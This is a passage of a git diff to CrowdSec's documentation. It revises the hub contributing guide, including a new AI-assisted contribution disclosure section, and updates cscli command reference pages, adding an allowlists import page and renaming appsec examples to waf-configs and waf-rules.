receive contributions on the `master` branch. To contribute: + +1. **Fork the repository** on GitHub +2. **Clone your fork** locally: + ```bash + git clone https://github.com/yourusername/hub.git + cd hub + ``` +3. **Create a dedicated branch** for your contribution: + ```bash + git checkout -b feature/your-feature-name + ``` +4. **Make your changes** and commit them with descriptive messages +5. **Push to your fork**: + ```bash + git push origin feature/your-feature-name + ``` +6. **Open a Pull Request** targeting the `master` branch ## Guidelines +### YAML Best Practices + +When creating parsers, scenarios, and collections, follow these YAML guidelines: + +#### Avoid YAML Anchors + +**❌ Don't use YAML anchors** - they make YAML files harder to maintain and understand: + +### AI-Assisted Generation + +We do allow AI-assisted generation of parsers, scenarios, collections, and AppSec rules, but with important requirements: + +- **Follow all guidelines**: AI-generated code must still follow all the guidelines in this document +- **Include comprehensive tests**: A pull request with AI-generated code but no tests will be immediately closed +- **Proper documentation**: Include complete documentation and examples as required + +#### Disclosure Requirement + +**Important**: When submitting AI-assisted contributions, you must check the "AI was used to generate any/all content of this PR" box in the PR template. You must understand and be able to explain yourself what was generated. AI-generated code will receive additional scrutiny to ensure quality and correctness. + +#### What We Expect + +- Test coverage using `cscli hubtest` +- Proper error handling and edge cases +- Clear documentation and examples +- Adherence to CrowdSec patterns and conventions +- Human review and validation of the AI output + ### Technical Documentation The following explains how to create and test: - [parsers](/log_processor/parsers/create.md) - [scenarios](/log_processor/scenarios/create.md) +- [AppSec rules](/appsec/create_rules.md) ### Collections -It often makes sense for a new parser or scenario to be added to an existing [collection](/log_processor/collections/format.md), or create a new one. +Collections group related parsers, scenarios, and postoverflows together. It often makes sense for a new parser or scenario to be added to an existing [collection](/log_processor/collections/format.md), or create a new one. -If your parsers and/or scenarios cover a new or specific service, having a dedicated collection for this service makes sense. -In other cases, having a parser for `SpecificWebServer` access logs would justify a collection as it might also include [all the default http related scenarios](https://hub.crowdsec.net/author/crowdsecurity/collections/base-http-scenarios). +#### When to create a new collection: +- Your parsers and/or scenarios cover a new or specific service +- You're adding multiple related components that work together +- The existing collections don't fit your use case -### Scenarios +#### When to add to existing collections: -When you create a scenario, you must fill some fields in the [`labels`](/log_processor/scenarios/format.md#labels), else the CI won't accept the contribution. -Those `labels` are: - - `classification`: this array contains the CVE ID and the [Mitre Techniques](https://attack.mitre.org/techniques/enterprise/) related to the scenario (when applicable) - - `spoofable`: between 0 and 3, is the chance that the attacker behind the attack can spoof its origin - - `confidence`: between 0 and 3, is the confidence that the scenario will not trigger false positive - - `behaviors`: an existing behavior in [this file](https://github.com/crowdsecurity/hub/blob/scenario_taxonomy/taxonomy/behaviors.json) - - `label` : a human readable name for the scenario - - `cti` : (optional) true or false, used to specify that a scenario is mainly used for audit rather than detecting a threat +- Adding a parser for a specific web server's access logs that would benefit from existing HTTP-related scenarios +- Your contribution enhances an existing service's detection capabilities +- Your scenario complements existing parsers in a collection -[Here](/log_processor/scenarios/format.md#labels) is the `labels` documentation for more information. +#### Collection structure: -Here is an example: +Each collection should include: +- Descriptive name and description +- Proper labels and tags +- Documentation with setup instructions +- Example acquisition configuration +- Related parsers, scenarios, and postoverflows -``` +## Preparing your contribution + +Before asking for a review of your PR, please ensure you have the following: + +### Tests + +Test creation is covered in [parsers creation](/log_processor/parsers/create.md), [scenarios creation](/log_processor/scenarios/create.md), and [AppSec rule creation](/appsec/create_rules.md). Ensure that each component is properly tested: + +- **Parser tests**: Include sample log files that cover various scenarios (success, failure, edge cases) +- **Scenario tests**: Test with different input data to ensure proper triggering and no false positives +- **AppSec tests**: Provide nuclei templates and expected outcomes for your rule +- **Integration tests**: Verify that your components work well with existing parsers/scenarios + +### Documentation + +Please provide a `.md` file with the same name as each of your parser, scenario, collection, or WAF rule. The markdown is rendered in the [hub](https://hub.crowdsec.net). + +#### Collection Documentation + +State the collection goal and, if you're targeting a specific log file, provide an acquisition example: + +```yaml +filenames: +- /var/log/xxx/*.log labels: - service: ssh - confidence: 3 - spoofable: 0 - classification: - - attack.T1110 - label: "SSH Bruteforce" - behavior: "ssh:bruteforce" - remediation: true + type: something ``` +### Code Quality -## Preparing your contribution +- Follow existing naming conventions +- Use consistent indentation and formatting +- Add comments for complex logic +- Ensure all required fields are properly filled -Before asking for a review of your PR, please ensure you have the following: +## Opening your PR -- tests: Test creation is covered in [parsers creation](/log_processor/parsers/create.md) and [scenarios creation](/log_processor/scenarios/create.md). Ensure that each of your parser or scenario is properly tested. -- documentation: Please provide a `.md` file with the same name as each of your parser, scenario or collection. The markdown is rendered in the [hub](https://hub.crowdsec.net). -- documentation: If you're creating a collection targeting a specific log file, be sure to provide an acquis example as : +Everything is all set, you can now open a PR that will be reviewed and merged! +### PR Checklist -```yaml +Before opening your PR, ensure you can check all items in the [PR template](https://github.com/crowdsecurity/hub/blob/master/.github/pull_request_template.md). Additional requirements: - ## Acquisition template +- [ ] Documentation is complete and accurate +- [ ] Code follows the project's style guidelines +- [ ] Commit messages are clear and descriptive +- [ ] PR description explains the changes and motivation +- [ ] Related issues are referenced (if applicable) - Example acquisition for this collection : +### Review Process - ```yaml - filenames: - - /var/log/xxx/*.log - labels: - type: something - ``` -``` +- PRs are reviewed by maintainers and community members +- Feedback may be requested for improvements +- All CI checks must pass before merging +- Maintainers will merge approved PRs + +### Getting Help + +If you encounter issues: + +1. Check existing [GitHub Issues](https://github.com/crowdsecurity/hub/issues) for similar problems +2. Ask for help on [Discord](https://discord.gg/crowdsec) or [Discourse](https://discourse.crowdsec.net/) +3. Open a new issue with detailed information about your problem -## Open your PR +### Useful Resources -Everything is all set, you can now open a PR, that will be reviewed and merged! +- [Parser Creation Guide](/log_processor/parsers/create.md) +- [Scenario Creation Guide](/log_processor/scenarios/create.md) +- [AppSec Rule Creation](/appsec/create_rules.md) +- [Collection Format](/log_processor/collections/format.md) +- [Expression Language Documentation](/expr/intro.md) +- [cscli hubtest Documentation](/cscli/cscli_hubtest.md) +- [Hub Website](https://hub.crowdsec.net) diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli.md index 706ddaa02..64b108082 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli.md @@ -2,6 +2,8 @@ id: cscli title: cscli --- +## cscli + cscli allows you to manage crowdsec ### Synopsis @@ -9,6 +11,10 @@ cscli allows you to manage crowdsec cscli is the main command to interact with your crowdsec service, scenarios & db. It is meant to allow you to manage bans, parsers/scenarios/etc, api and generally manage your crowdsec setup. +``` +cscli [flags] +``` + ### Options ``` @@ -36,6 +42,7 @@ It is meant to allow you to manage bans, parsers/scenarios/etc, api and generall * [cscli config](/cscli/cscli_config.md) - Allows to view current config * [cscli console](/cscli/cscli_console.md) - Manage interaction with Crowdsec console (https://app.crowdsec.net) * [cscli contexts](/cscli/cscli_contexts.md) - Manage hub contexts +* [cscli dashboard](/cscli/cscli_dashboard.md) - * [cscli decisions](/cscli/cscli_decisions.md) - Manage decisions * [cscli explain](/cscli/cscli_explain.md) - Explain log pipeline * [cscli hub](/cscli/cscli_hub.md) - Manage hub index diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts.md index 3b8268f2d..d5002ebae 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts.md @@ -2,8 +2,14 @@ id: cscli_alerts title: cscli alerts --- +## cscli alerts + Manage alerts +``` +cscli alerts [action] [flags] +``` + ### Options ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_delete.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_delete.md index f41b226e9..3516c1dbe 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_delete.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_delete.md @@ -2,6 +2,8 @@ id: cscli_alerts_delete title: cscli alerts delete --- +## cscli alerts delete + Delete alerts /!\ This command can be used only on the same machine than the local API. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_flush.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_flush.md index d41d6dca9..2dfb06707 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_flush.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_flush.md @@ -2,6 +2,8 @@ id: cscli_alerts_flush title: cscli alerts flush --- +## cscli alerts flush + Flush alerts /!\ This command can be used only on the same machine than the local API diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_inspect.md index 6079d5e23..c6b04e25d 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_inspect.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_inspect.md @@ -2,6 +2,8 @@ id: cscli_alerts_inspect title: cscli alerts inspect --- +## cscli alerts inspect + Show info about an alert ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_list.md index 76d9ae371..a5f234720 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_alerts_list.md @@ -2,6 +2,8 @@ id: cscli_alerts_list title: cscli alerts list --- +## cscli alerts list + List alerts ### Synopsis @@ -35,7 +37,8 @@ cscli alerts list --type ban --type string restrict to alerts with given decision type (ie. ban, captcha) --scope string restrict to alerts of this scope (ie. ip,range) -v, --value string the value to match for in the specified scope - --origin string the value to match for the specified origin (cscli,crowdsec,console,cscli-import,lists,CAPI ...) + --origin string the value to match for the specified origin (cscli,crowdsec,console,cscli-import,lists,CAPI,remediation_sync ...) + --kind string the value to match for the specified kind (crowdsec,waf,capi,papi,cscli ...) --contained query decisions contained by range -m, --machine print machines that sent alerts -l, --limit int limit size of alerts list table (0 to view all alerts) (default 50) diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists.md index 76d55d384..d037e1f6e 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists.md @@ -2,8 +2,14 @@ id: cscli_allowlists title: cscli allowlists --- +## cscli allowlists + Manage centralized allowlists +``` +cscli allowlists [action] [flags] +``` + ### Options ``` @@ -30,6 +36,7 @@ Manage centralized allowlists * [cscli allowlists check](/cscli/cscli_allowlists_check.md) - Check if a value is in an allowlist * [cscli allowlists create](/cscli/cscli_allowlists_create.md) - Create a new allowlist * [cscli allowlists delete](/cscli/cscli_allowlists_delete.md) - Delete an allowlist +* [cscli allowlists import](/cscli/cscli_allowlists_import.md) - Import values to an allowlist from a CSV file * [cscli allowlists inspect](/cscli/cscli_allowlists_inspect.md) - Inspect an allowlist * [cscli allowlists list](/cscli/cscli_allowlists_list.md) - List all allowlists * [cscli allowlists remove](/cscli/cscli_allowlists_remove.md) - Remove content from an allowlist diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_add.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_add.md index 54b0eae96..a2f68406e 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_add.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_add.md @@ -2,6 +2,8 @@ id: cscli_allowlists_add title: cscli allowlists add --- +## cscli allowlists add + Add content to an allowlist ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_check.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_check.md index cd9b43880..c6fddc9d4 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_check.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_check.md @@ -2,6 +2,8 @@ id: cscli_allowlists_check title: cscli allowlists check --- +## cscli allowlists check + Check if a value is in an allowlist ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_create.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_create.md index 51d4ac9e3..85d12f59d 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_create.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_create.md @@ -2,6 +2,8 @@ id: cscli_allowlists_create title: cscli allowlists create --- +## cscli allowlists create + Create a new allowlist ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_delete.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_delete.md index 2abf96024..8b6aef9bb 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_delete.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_delete.md @@ -2,6 +2,8 @@ id: cscli_allowlists_delete title: cscli allowlists delete --- +## cscli allowlists delete + Delete an allowlist ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_import.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_import.md new file mode 100644 index 000000000..aeaec93ff --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_import.md @@ -0,0 +1,59 @@ +--- +id: cscli_allowlists_import +title: cscli allowlists import +--- +## cscli allowlists import + +Import values to an allowlist from a CSV file + +### Synopsis + +Import values to an allowlist from a CSV file. + +The CSV file must have a header line with at least a 'value' column. +Optional columns: 'expiration' (duration like 1h, 1d), 'comment'. + +``` +cscli allowlists import [allowlist_name] -i [flags] +``` + +### Examples + +``` +csv file: +value,expiration,comment +1.2.3.4,24h,my comment +2.3.4.5,,another comment +10.0.0.0/8,1d, + +$ cscli allowlists import my_allowlist -i allowlist.csv + +From standard input: + +$ cat allowlist.csv | cscli allowlists import my_allowlist -i - +``` + +### Options + +``` + -h, --help help for import + -i, --input string Input file (use - for stdin) +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_inspect.md index c9d6a2153..818c1c5f7 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_inspect.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_inspect.md @@ -2,6 +2,8 @@ id: cscli_allowlists_inspect title: cscli allowlists inspect --- +## cscli allowlists inspect + Inspect an allowlist ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_list.md index ab1a4896a..a84e07691 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_list.md @@ -2,6 +2,8 @@ id: cscli_allowlists_list title: cscli allowlists list --- +## cscli allowlists list + List all allowlists ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_remove.md index 037986609..3fee44457 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_remove.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_allowlists_remove.md @@ -2,6 +2,8 @@ id: cscli_allowlists_remove title: cscli allowlists remove --- +## cscli allowlists remove + Remove content from an allowlist ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs.md index 7f9e2509c..7caf34c2e 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs.md @@ -2,16 +2,22 @@ id: cscli_appsec-configs title: cscli appsec-configs --- +## cscli appsec-configs + Manage hub appsec-configs +``` +cscli appsec-configs [item]... [flags] +``` + ### Examples ``` -cscli appsec-configs list -a -cscli appsec-configs install crowdsecurity/virtual-patching -cscli appsec-configs inspect crowdsecurity/virtual-patching -cscli appsec-configs upgrade crowdsecurity/virtual-patching -cscli appsec-configs remove crowdsecurity/virtual-patching +cscli waf-configs list -a +cscli waf-configs install crowdsecurity/virtual-patching +cscli waf-configs inspect crowdsecurity/virtual-patching +cscli waf-configs upgrade crowdsecurity/virtual-patching +cscli waf-configs remove crowdsecurity/virtual-patching ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_inspect.md index 0c5508e1c..884ec5c0d 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_inspect.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_inspect.md @@ -2,6 +2,8 @@ id: cscli_appsec-configs_inspect title: cscli appsec-configs inspect --- +## cscli appsec-configs inspect + Inspect given appsec-config(s) ### Synopsis @@ -15,18 +17,18 @@ cscli appsec-configs inspect [item]... [flags] ### Examples ``` -# Display metadata, state, ancestor collections of appsec-configs (installed or not). -cscli appsec-configs inspect crowdsecurity/virtual-patching +# Display metadata, state, ancestor collections of waf-configs (installed or not). +cscli waf-configs inspect crowdsecurity/virtual-patching # If the config is installed, its metrics are collected and shown as well (with an error if crowdsec is not running). # To avoid this, use --no-metrics. -cscli appsec-configs inspect crowdsecurity/virtual-patching --no-metrics +cscli waf-configs inspect crowdsecurity/virtual-patching --no-metrics # Display difference between a tainted item and the latest one. -cscli appsec-configs inspect crowdsecurity/virtual-patching --diff +cscli waf-configs inspect crowdsecurity/virtual-patching --diff # Reverse the above diff -cscli appsec-configs inspect crowdsecurity/virtual-patching --diff --rev +cscli waf-configs inspect crowdsecurity/virtual-patching --diff --rev ``` ### Options diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_install.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_install.md index 4b7c2e9c1..a18c4fe57 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_install.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_install.md @@ -2,6 +2,8 @@ id: cscli_appsec-configs_install title: cscli appsec-configs install --- +## cscli appsec-configs install + Install given appsec-config(s) ### Synopsis @@ -15,24 +17,24 @@ cscli appsec-configs install [item]... [flags] ### Examples ``` -# Install some appsec-configs. -cscli appsec-configs install crowdsecurity/virtual-patching +# Install some waf-configs. +cscli waf-configs install crowdsecurity/virtual-patching # Show the execution plan without changing anything - compact output sorted by type and name. -cscli appsec-configs install crowdsecurity/virtual-patching --dry-run +cscli waf-configs install crowdsecurity/virtual-patching --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. -cscli appsec-configs install crowdsecurity/virtual-patching --dry-run -o raw +cscli waf-configs install crowdsecurity/virtual-patching --dry-run -o raw # Download only, to be installed later. -cscli appsec-configs install crowdsecurity/virtual-patching --download-only +cscli waf-configs install crowdsecurity/virtual-patching --download-only # Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. -cscli appsec-configs install crowdsecurity/virtual-patching --force +cscli waf-configs install crowdsecurity/virtual-patching --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. -cscli appsec-configs install crowdsecurity/virtual-patching -i -cscli appsec-configs install crowdsecurity/virtual-patching --interactive +cscli waf-configs install crowdsecurity/virtual-patching -i +cscli waf-configs install crowdsecurity/virtual-patching --interactive ``` ### Options diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_list.md index 52230386c..2e7b97d1b 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_list.md @@ -2,6 +2,8 @@ id: cscli_appsec-configs_list title: cscli appsec-configs list --- +## cscli appsec-configs list + List appsec-config(s) ### Synopsis @@ -15,14 +17,14 @@ cscli appsec-configs list [item... | -a] [flags] ### Examples ``` -# List enabled (installed) appsec-configs. -cscli appsec-configs list +# List enabled (installed) waf-configs. +cscli waf-configs list -# List all available appsec-configs (installed or not). -cscli appsec-configs list -a +# List all available waf-configs (installed or not). +cscli waf-configs list -a -# List specific appsec-configs (installed or not). -cscli appsec-configs list crowdsecurity/virtual-patching crowdsecurity/generic-rules +# List specific waf-configs (installed or not). +cscli waf-configs list crowdsecurity/virtual-patching crowdsecurity/generic-rules ``` ### Options diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_remove.md index 9a70047b2..a56a8f60b 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_remove.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_remove.md @@ -2,6 +2,8 @@ id: cscli_appsec-configs_remove title: cscli appsec-configs remove --- +## cscli appsec-configs remove + Remove given appsec-config(s) ### Synopsis @@ -15,24 +17,24 @@ cscli appsec-configs remove [item]... [flags] ### Examples ``` -# Uninstall some appsec-configs. -cscli appsec-configs remove crowdsecurity/virtual-patching +# Uninstall some waf-configs. +cscli waf-configs remove crowdsecurity/virtual-patching # Show the execution plan without changing anything - compact output sorted by type and name. -cscli appsec-configs remove crowdsecurity/virtual-patching --dry-run +cscli waf-configs remove crowdsecurity/virtual-patching --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. -cscli appsec-configs remove crowdsecurity/virtual-patching --dry-run -o raw +cscli waf-configs remove crowdsecurity/virtual-patching --dry-run -o raw # Uninstall and also remove the downloaded files. -cscli appsec-configs remove crowdsecurity/virtual-patching --purge +cscli waf-configs remove crowdsecurity/virtual-patching --purge # Remove tainted items. -cscli appsec-configs remove crowdsecurity/virtual-patching --force +cscli waf-configs remove crowdsecurity/virtual-patching --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. -cscli appsec-configs remove crowdsecurity/virtual-patching -i -cscli appsec-configs remove crowdsecurity/virtual-patching --interactive +cscli waf-configs remove crowdsecurity/virtual-patching -i +cscli waf-configs remove crowdsecurity/virtual-patching --interactive ``` ### Options diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_upgrade.md index 566ff6ece..c4ef52917 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_upgrade.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-configs_upgrade.md @@ -2,6 +2,8 @@ id: cscli_appsec-configs_upgrade title: cscli appsec-configs upgrade --- +## cscli appsec-configs upgrade + Upgrade given appsec-config(s) ### Synopsis @@ -15,21 +17,21 @@ cscli appsec-configs upgrade [item]... [flags] ### Examples ``` -# Upgrade some appsec-configs. If they are not currently installed, they are downloaded but not installed. -cscli appsec-configs upgrade crowdsecurity/virtual-patching +# Upgrade some waf-configs. If they are not currently installed, they are downloaded but not installed. +cscli waf-configs upgrade crowdsecurity/virtual-patching # Show the execution plan without changing anything - compact output sorted by type and name. -cscli appsec-configs upgrade crowdsecurity/virtual-patching --dry-run +cscli waf-configs upgrade crowdsecurity/virtual-patching --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. -cscli appsec-configs upgrade crowdsecurity/virtual-patching --dry-run -o raw +cscli waf-configs upgrade crowdsecurity/virtual-patching --dry-run -o raw # Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. -cscli appsec-configs upgrade crowdsecurity/virtual-patching --force +cscli waf-configs upgrade crowdsecurity/virtual-patching --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. -cscli appsec-configs upgrade crowdsecurity/virtual-patching -i -cscli appsec-configs upgrade crowdsecurity/virtual-patching --interactive +cscli waf-configs upgrade crowdsecurity/virtual-patching -i +cscli waf-configs upgrade crowdsecurity/virtual-patching --interactive ``` ### Options diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules.md index e9c2dbecb..98651d8aa 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules.md @@ -2,16 +2,22 @@ id: cscli_appsec-rules title: cscli appsec-rules --- +## cscli appsec-rules + Manage hub appsec-rules +``` +cscli appsec-rules [item]... [flags] +``` + ### Examples ``` -cscli appsec-rules list -a -cscli appsec-rules install crowdsecurity/crs -cscli appsec-rules inspect crowdsecurity/crs -cscli appsec-rules upgrade crowdsecurity/crs -cscli appsec-rules remove crowdsecurity/crs +cscli waf-rules list -a +cscli waf-rules install crowdsecurity/crs +cscli waf-rules inspect crowdsecurity/crs +cscli waf-rules upgrade crowdsecurity/crs +cscli waf-rules remove crowdsecurity/crs ``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_inspect.md index 898869b8a..7d0c8c69b 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_inspect.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_inspect.md @@ -2,6 +2,8 @@ id: cscli_appsec-rules_inspect title: cscli appsec-rules inspect --- +## cscli appsec-rules inspect + Inspect given appsec-rule(s) ### Synopsis @@ -15,18 +17,18 @@ cscli appsec-rules inspect [item]... [flags] ### Examples ``` -# Display metadata, state, ancestor collections of appsec-rules (installed or not). -cscli appsec-rules inspect crowdsecurity/crs +# Display metadata, state, ancestor collections of waf-rules (installed or not). +cscli waf-rules inspect crowdsecurity/crs # If the rule is installed, its metrics are collected and shown as well (with an error if crowdsec is not running). # To avoid this, use --no-metrics. -cscli appsec-configs inspect crowdsecurity/crs --no-metrics +cscli waf-rules inspect crowdsecurity/crs --no-metrics # Display difference between a tainted item and the latest one. -cscli appsec-rules inspect crowdsecurity/crs --diff +cscli waf-rules inspect crowdsecurity/crs --diff # Reverse the above diff -cscli appsec-rules inspect crowdsecurity/crs --diff --rev +cscli waf-rules inspect crowdsecurity/crs --diff --rev ``` ### Options diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_install.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_install.md index 760069819..61a4237e1 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_install.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_install.md @@ -2,6 +2,8 @@ id: cscli_appsec-rules_install title: cscli appsec-rules install --- +## cscli appsec-rules install + Install given appsec-rule(s) ### Synopsis @@ -15,24 +17,24 @@ cscli appsec-rules install [item]... [flags] ### Examples ``` -# Install some appsec-rules. -cscli appsec-rules install crowdsecurity/crs +# Install some waf-rules. +cscli waf-rules install crowdsecurity/crs # Show the execution plan without changing anything - compact output sorted by type and name. -cscli appsec-rules install crowdsecurity/crs --dry-run +cscli waf-rules install crowdsecurity/crs --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. -cscli appsec-rules install crowdsecurity/crs --dry-run -o raw +cscli waf-rules install crowdsecurity/crs --dry-run -o raw # Download only, to be installed later. -cscli appsec-rules install crowdsecurity/crs --download-only +cscli waf-rules install crowdsecurity/crs --download-only # Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. -cscli appsec-rules install crowdsecurity/crs --force +cscli waf-rules install crowdsecurity/crs --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. -cscli appsec-rules install crowdsecurity/crs -i -cscli appsec-rules install crowdsecurity/crs --interactive +cscli waf-rules install crowdsecurity/crs -i +cscli waf-rules install crowdsecurity/crs --interactive ``` ### Options diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_list.md index 7b19fda5c..3a2989396 100644 --- a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_list.md +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_appsec-rules_list.md @@ -2,6 +2,8 @@ id: cscli_appsec-rules_list title: cscli appsec-rules list --- +## cscli appsec-rules list + List appsec-rule(s) ### 